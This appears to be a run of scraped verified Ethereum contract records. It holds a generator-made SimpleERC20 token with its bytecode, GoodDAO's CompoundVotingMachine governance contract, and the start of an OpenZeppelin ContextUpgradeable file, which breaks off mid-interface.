_name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf26E4736e004A42579F54a27f22096edb8F76Bfc
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "../DAOStackInterfaces.sol"; import "../utils/DAOUpgradeableContract.sol"; /** * based on https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/Governance/GovernorAlpha.sol * CompoundVotingMachine based on Compound's governance with a few differences * 1. no timelock. once vote has passed it stays open for 'queuePeriod' (2 days by default). * if vote decision has changed, execution will be delayed so at least 24 hours are left to vote. * 2. execution modified to support DAOStack Avatar/Controller */ contract CompoundVotingMachine is ContextUpgradeable, DAOUpgradeableContract { /// @notice The name of this contract string public constant name = "GoodDAO Voting Machine"; /// @notice timestamp when foundation releases guardian veto rights uint64 public foundationGuardianRelease; /// @notice the number of blocks a proposal is open for voting (before passing quorum) uint256 public votingPeriod; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint256 public quoromPercentage; function quorumVotes() public view returns (uint256) { return (rep.totalSupply() * quoromPercentage) / 1000000; } //3% /// @notice The number of votes required in order for a voter to become a proposer uint256 public proposalPercentage; function proposalThreshold(uint256 blockNumber) public view returns (uint256) { return (rep.totalSupplyAt(blockNumber) * proposalPercentage) / 1000000; //0.25% } /// @notice The maximum number of actions that can be included in a proposal uint256 public proposalMaxOperations; //10 /// @notice The delay in blocks before voting on a proposal may take place, once proposed uint256 public votingDelay; //1 block /// @notice The duration of time after proposal passed thershold before it can be executed uint256 public queuePeriod; // 2 days /// @notice The duration of time after proposal passed with absolute majority before it can be executed uint256 public fastQueuePeriod; //1 days/8 = 3hours /// @notice During the queue period if vote decision has changed, we extend queue period time duration so /// that at least gameChangerPeriod is left uint256 public gameChangerPeriod; //1 day /// @notice the duration of time a succeeded proposal has to be executed on the blockchain uint256 public gracePeriod; // 3days /// @notice The address of the DAO reputation token ReputationInterface public rep; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint256 public proposalCount; struct Proposal { // Unique id for looking up a proposal uint256 id; // Creator of the proposal address proposer; // The timestamp that the proposal will be available for execution, set once the vote succeeds uint256 eta; // the ordered list of target addresses for calls to be made address[] targets; // The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint256[] values; // The ordered list of function signatures to be called string[] signatures; // The ordered list of calldata to be passed to each call bytes[] calldatas; // The block at which voting begins: holders must delegate their votes prior to this block uint256 startBlock; // The block at which voting ends: votes must be cast prior to this block uint256 endBlock; // Current number of votes in favor of this proposal uint256 forVotes; // Current number of votes in opposition to this proposal uint256 againstVotes; // Flag marking whether the proposal has been canceled bool canceled; // Flag marking whether the proposal has been executed bool executed; // Receipts of ballots for the entire set of voters mapping(address => Receipt) receipts; // quorom required at time of proposing uint256 quoromRequired; // support proposal voting bridge uint256 forBlockchain; } /// @notice Ballot receipt record for a voter struct Receipt { //Whether or not a vote has been cast bool hasVoted; // Whether or not the voter supports the proposal bool support; // The number of votes the voter had, which were cast uint256 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, ActiveTimelock, // passed quorom, time lock of 2 days activated, still open for voting Canceled, Defeated, Succeeded, // Queued, we dont have queued status, we use game changer period instead Expired, Executed } /// @notice The official record of all proposals ever proposed mapping(uint256 => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping(address => uint256) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /// @notice An event emitted when using blockchain proposal bridge event ProposalSucceeded( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, uint256 forBlockchain, uint256 eta, uint256 forVotes, uint256 againstVotes ); /// @notice event when proposal made for a different blockchain event ProposalBridge(uint256 id, uint256 indexed forBlockchain); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast( address voter, uint256 proposalId, bool support, uint256 votes ); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint256 id); /// @notice An event emitted when a proposal has been queued event ProposalQueued(uint256 id, uint256 eta); /// @notice An event emitted when a proposal has been executed event ProposalExecuted(uint256 id); /// @notice An event emitted when a proposal call has been executed event ProposalExecutionResult( uint256 id, uint256 index, bool ok, bytes result ); event GuardianSet(address newGuardian); event ParametersSet(uint256[9] params); function initialize( INameService ns_, // the DAO avatar uint256 votingPeriodBlocks_ //number of blocks a proposal is open for voting before expiring ) public initializer { foundationGuardianRelease = 1672531200; //01/01/2023 setDAO(ns_); rep = ReputationInterface(ns_.getAddress("REPUTATION")); uint256[9] memory params = [ votingPeriodBlocks_, 30000, //3% quorum 2500, //0.25% proposing threshold 10, //max operations 1, //voting delay blocks 2 days, //queue period 1 days / 8, //fast queue period 1 days, //game change period 3 days //grace period ]; _setVotingParameters(params); guardian = _msgSender(); } ///@notice set the different voting parameters, value of 0 is ignored ///cell 0 - votingPeriod blocks, 1 - quoromPercentage, 2 - proposalPercentage,3 - proposalMaxOperations, 4 - voting delay blocks, 5 - queuePeriod time ///6 - fastQueuePeriod time, 7 - gameChangerPeriod time, 8 - gracePeriod time function setVotingParameters(uint256[9] calldata _newParams) external { _onlyAvatar(); _setVotingParameters(_newParams); } function _setVotingParameters(uint256[9] memory _newParams) internal { require( (quoromPercentage == 0 || _newParams[1] <= quoromPercentage * 2) && _newParams[1] < 1000000, "percentage should not double" ); require( (proposalPercentage == 0 || _newParams[2] <= proposalPercentage * 2) && _newParams[2] < 1000000, "percentage should not double" ); votingPeriod = _newParams[0] > 0 ? _newParams[0] : votingPeriod; quoromPercentage = _newParams[1] > 0 ? _newParams[1] : quoromPercentage; proposalPercentage = _newParams[2] > 0 ? _newParams[2] : proposalPercentage; proposalMaxOperations = _newParams[3] > 0 ? _newParams[3] : proposalMaxOperations; votingDelay = _newParams[4] > 0 ? _newParams[4] : votingDelay; queuePeriod = _newParams[5] > 0 ? _newParams[5] : queuePeriod; fastQueuePeriod = _newParams[6] > 0 ? _newParams[6] : fastQueuePeriod; gameChangerPeriod = _newParams[7] > 0 ? _newParams[7] : gameChangerPeriod; gracePeriod = _newParams[8] > 0 ? _newParams[8] : gracePeriod; emit ParametersSet(_newParams); } /// @notice make a proposal to be voted on /// @param targets list of contracts to be excuted on /// @param values list of eth value to be used in each contract call /// @param signatures the list of functions to execute /// @param calldatas the list of parameters to pass to each function /// @return uint256 proposal id function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { return propose( targets, values, signatures, calldatas, description, getChainId() ); } /// @notice make a proposal to be voted on /// @param targets list of contracts to be excuted on /// @param values list of eth value to be used in each contract call /// @param signatures the list of functions to execute /// @param calldatas the list of parameters to pass to each function /// @return uint256 proposal id function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description, uint256 forBlockchain ) public returns (uint256) { require( rep.getVotesAt(_msgSender(), true, block.number - 1) > proposalThreshold(block.number - 1), "CompoundVotingMachine::propose: proposer votes below proposal threshold" ); require( targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "CompoundVotingMachine::propose: proposal function information arity mismatch" ); require( targets.length != 0, "CompoundVotingMachine::propose: must provide actions" ); require( targets.length <= proposalMaxOperations, "CompoundVotingMachine::propose: too many actions" ); uint256 latestProposalId = latestProposalIds[_msgSender()]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require( proposersLatestProposalState != ProposalState.Active && proposersLatestProposalState != ProposalState.ActiveTimelock, "CompoundVotingMachine::propose: one live proposal per proposer, found an already active proposal" ); require( proposersLatestProposalState != ProposalState.Pending, "CompoundVotingMachine::propose: one live proposal per proposer, found an already pending proposal" ); } uint256 startBlock = block.number + votingDelay; uint256 endBlock = startBlock + votingPeriod; proposalCount++; Proposal storage newProposal = proposals[proposalCount]; newProposal.id = proposalCount; newProposal.proposer = _msgSender(); newProposal.eta = 0; newProposal.targets = targets; newProposal.values = values; newProposal.signatures = signatures; newProposal.calldatas = calldatas; newProposal.startBlock = startBlock; newProposal.endBlock = endBlock; newProposal.forVotes = 0; newProposal.againstVotes = 0; newProposal.canceled = false; newProposal.executed = false; newProposal.quoromRequired = quorumVotes(); newProposal.forBlockchain = forBlockchain; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, _msgSender(), targets, values, signatures, calldatas, startBlock, endBlock, description ); if (getChainId() != forBlockchain) { emit ProposalBridge(proposalCount, forBlockchain); } return newProposal.id; } /// @notice helper to set the effective time of a proposal that passed quorom /// @dev also extends the ETA in case of a game changer in vote decision /// @param proposal the proposal to set the eta /// @param hasVoteChanged did the current vote changed the decision function _updateETA(Proposal storage proposal, bool hasVoteChanged) internal { //if absolute majority allow to execute quickly if (proposal.forVotes > rep.totalSupplyAt(proposal.startBlock) / 2) { proposal.eta = block.timestamp + fastQueuePeriod; } //first time we have a quorom we ask for a no change in decision period else if (proposal.eta == 0) { proposal.eta = block.timestamp + queuePeriod; } //if we have a gamechanger then we extend current eta to have at least gameChangerPeriod left else if (hasVoteChanged) { uint256 timeLeft = proposal.eta - block.timestamp; proposal.eta += timeLeft > gameChangerPeriod ? 0 : gameChangerPeriod - timeLeft; } else { return; } emit ProposalQueued(proposal.id, proposal.eta); } /// @notice execute the proposal list of transactions /// @dev anyone can call this once its ETA has arrived function execute(uint256 proposalId) public payable { require( state(proposalId) == ProposalState.Succeeded, "CompoundVotingMachine::execute: proposal can only be executed if it is succeeded" ); require( proposals[proposalId].forBlockchain == getChainId(), "CompoundVotingMachine::execute: proposal for wrong blockchain" ); proposals[proposalId].executed = true; address[] memory _targets = proposals[proposalId].targets; uint256[] memory _values = proposals[proposalId].values; string[] memory _signatures = proposals[proposalId].signatures; bytes[] memory _calldatas = proposals[proposalId].calldatas; for (uint256 i = 0; i < _targets.length; i++) { (bool ok, bytes memory result) = _executeTransaction( _targets[i], _values[i], _signatures[i], _calldatas[i] ); emit ProposalExecutionResult(proposalId, i, ok, result); } emit ProposalExecuted(proposalId); } /// @notice internal helper to execute a single transaction of a proposal /// @dev special execution is done if target is a method in the DAO controller function _executeTransaction( address target, uint256 value, string memory signature, bytes memory data ) internal returns (bool, bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } bool ok; bytes memory result; if (target == address(dao)) { (ok, result) = target.call{ value: value }(callData); } else { if (value > 0) payable(address(avatar)).transfer(value); //make sure avatar have the funds to pay (ok, result) = dao.genericCall(target, callData, address(avatar), value); } require( ok, "CompoundVotingMachine::executeTransaction: Transaction execution reverted." ); return (ok, result); } /// @notice cancel a proposal in case proposer no longer holds the votes that were required to propose /// @dev could be cheating trying to bypass the single proposal per address by delegating to another address /// or when delegators do not concur with the proposal done in their name, they can withdraw function cancel(uint256 proposalId) public { ProposalState pState = state(proposalId); require( pState != ProposalState.Executed, "CompoundVotingMachine::cancel: cannot cancel executed proposal" ); Proposal storage proposal = proposals[proposalId]; require( _msgSender() == guardian || rep.getVotesAt(proposal.proposer, true, block.number - 1) < proposalThreshold(proposal.startBlock), "CompoundVotingMachine::cancel: proposer above threshold" ); proposal.canceled = true; emit ProposalCanceled(proposalId); } /// @notice get the actions to be done in a proposal function getActions(uint256 proposalId) public view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } /// @notice get the receipt of a single voter in a proposal function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } /// @notice get the current status of a proposal function state(uint256 proposalId) public view returns (ProposalState) { require( proposalCount >= proposalId && proposalId > 0, "CompoundVotingMachine::state: invalid proposal id" ); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (proposal.executed) { return ProposalState.Executed; } else if ( proposal.eta > 0 && block.timestamp < proposal.eta //passed quorum but not executed yet, in time lock ) { return ProposalState.ActiveTimelock; } else if ( //regular voting period proposal.eta == 0 && block.number <= proposal.endBlock ) { //proposal is active if we are in the gameChanger period (eta) or no decision yet and in voting period return ProposalState.Active; } else if ( proposal.forVotes <= proposal.againstVotes || proposal.forVotes < proposal.quoromRequired ) { return ProposalState.Defeated; } else if ( proposal.eta > 0 && block.timestamp >= proposal.eta + gracePeriod ) { //expired if not executed gracePeriod after eta return ProposalState.Expired; } else { return ProposalState.Succeeded; } } /// @notice cast your vote on a proposal /// @param proposalId the proposal to vote on /// @param support for or against function castVote(uint256 proposalId, bool support) public { //get all votes in all blockchains including delegated Proposal storage proposal = proposals[proposalId]; uint256 votes = rep.getVotesAt(_msgSender(), true, proposal.startBlock); return _castVote(_msgSender(), proposal, support, votes); } struct VoteSig { bool support; uint8 v; bytes32 r; bytes32 s; } // function ecRecoverTest( // uint256 proposalId, // VoteSig[] memory votesFor, // VoteSig[] memory votesAgainst // ) public { // bytes32 domainSeparator = // keccak256( // abi.encode( // DOMAIN_TYPEHASH, // keccak256(bytes(name)), // getChainId(), // address(this) // ) // ); // bytes32 structHashFor = // keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, true)); // bytes32 structHashAgainst = // keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, false)); // bytes32 digestFor = // keccak256( // abi.encodePacked("\x19\x01", domainSeparator, structHashFor) // ); // bytes32 digestAgainst = // keccak256( // abi.encodePacked("\x19\x01", domainSeparator, structHashAgainst) // ); // Proposal storage proposal = proposals[proposalId]; // uint256 total; // for (uint32 i = 0; i < votesFor.length; i++) { // bytes32 digest = digestFor; // address signatory = // ecrecover(digest, votesFor[i].v, votesFor[i].r, votesFor[i].s); // require( // signatory != address(0), // "CompoundVotingMachine::castVoteBySig: invalid signature" // ); // require( // votesFor[i].support == true, // "CompoundVotingMachine::castVoteBySig: invalid support value in for batch" // ); // total += rep.getVotesAt(signatory, true, proposal.startBlock); // Receipt storage receipt = proposal.receipts[signatory]; // receipt.hasVoted = true; // receipt.support = true; // } // if (votesFor.length > 0) { // address voteAddressHash = // address(uint160(uint256(keccak256(abi.encode(votesFor))))); // _castVote(voteAddressHash, proposalId, true, total); // } // total = 0; // for (uint32 i = 0; i < votesAgainst.length; i++) { // bytes32 digest = digestAgainst; // address signatory = // ecrecover( // digest, // votesAgainst[i].v, // votesAgainst[i].r, // votesAgainst[i].s // ); // require( // signatory != address(0), // "CompoundVotingMachine::castVoteBySig: invalid signature" // ); // require( // votesAgainst[i].support == false, // "CompoundVotingMachine::castVoteBySig: invalid support value in against batch" // ); // total += rep.getVotesAt(signatory, true, proposal.startBlock); // Receipt storage receipt = proposal.receipts[signatory]; // receipt.hasVoted = true; // receipt.support = true; // } // if (votesAgainst.length > 0) { // address voteAddressHash = // address(uint160(uint256(keccak256(abi.encode(votesAgainst))))); // _castVote(voteAddressHash, proposalId, false, total); // } // } /// @notice helper to cast a vote for someone else by using eip712 signatures function castVoteBySig( uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(BALLOT_TYPEHASH, proposalId, support) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "CompoundVotingMachine::castVoteBySig: invalid signature" ); //get all votes in all blockchains including delegated Proposal storage proposal = proposals[proposalId]; uint256 votes = rep.getVotesAt(signatory, true, proposal.startBlock); return _castVote(signatory, proposal, support, votes); } /// @notice internal helper to cast a vote function _castVote( address voter, Proposal storage proposal, bool support, uint256 votes ) internal { uint256 proposalId = proposal.id; require( state(proposalId) == ProposalState.Active || state(proposalId) == ProposalState.ActiveTimelock, "CompoundVotingMachine::_castVote: voting is closed" ); Receipt storage receipt = proposal.receipts[voter]; require( receipt.hasVoted == false, "CompoundVotingMachine::_castVote: voter already voted" ); bool hasChanged = proposal.forVotes > proposal.againstVotes; if (support) { proposal.forVotes += votes; } else { proposal.againstVotes += votes; } hasChanged = hasChanged != (proposal.forVotes > proposal.againstVotes); receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; // if quorom passed then start the queue period if ( proposal.forVotes >= proposal.quoromRequired || proposal.againstVotes >= proposal.quoromRequired ) _updateETA(proposal, hasChanged); emit VoteCast(voter, proposalId, support, votes); } function getChainId() public view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function renounceGuardian() public { require(_msgSender() == guardian, "CompoundVotingMachine: not guardian"); guardian = address(0); foundationGuardianRelease = 0; emit GuardianSet(guardian); } function setGuardian(address _guardian) public { require( _msgSender() == address(avatar) || _msgSender() == guardian, "CompoundVotingMachine: not avatar or guardian" ); require( _msgSender() == guardian || block.timestamp > foundationGuardianRelease, "CompoundVotingMachine: foundation expiration not reached" ); guardian = _guardian; emit GuardianSet(guardian); } /// @notice allow anyone to emit details about proposal that passed. can be used for cross-chain proposals using blockheader proofs function emitSucceeded(uint256 _proposalId) public { require( state(_proposalId) == ProposalState.Succeeded, "CompoundVotingMachine: not Succeeded" ); Proposal storage proposal = proposals[_proposalId]; //also mark in storage as executed for cross chain voting. can be used by storage proofs, to verify proposal passed if (proposal.forBlockchain != getChainId()) { proposal.executed = true; } emit ProposalSucceeded( _proposalId, proposal.proposer, proposal.targets, proposal.values, proposal.signatures, proposal.calldatas, proposal.startBlock, proposal.endBlock, proposal.forBlockchain, proposal.eta, proposal.forVotes, proposal.againstVotes ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; interface Avatar { function nativeToken() external view returns (address); function nativeReputation() external view returns 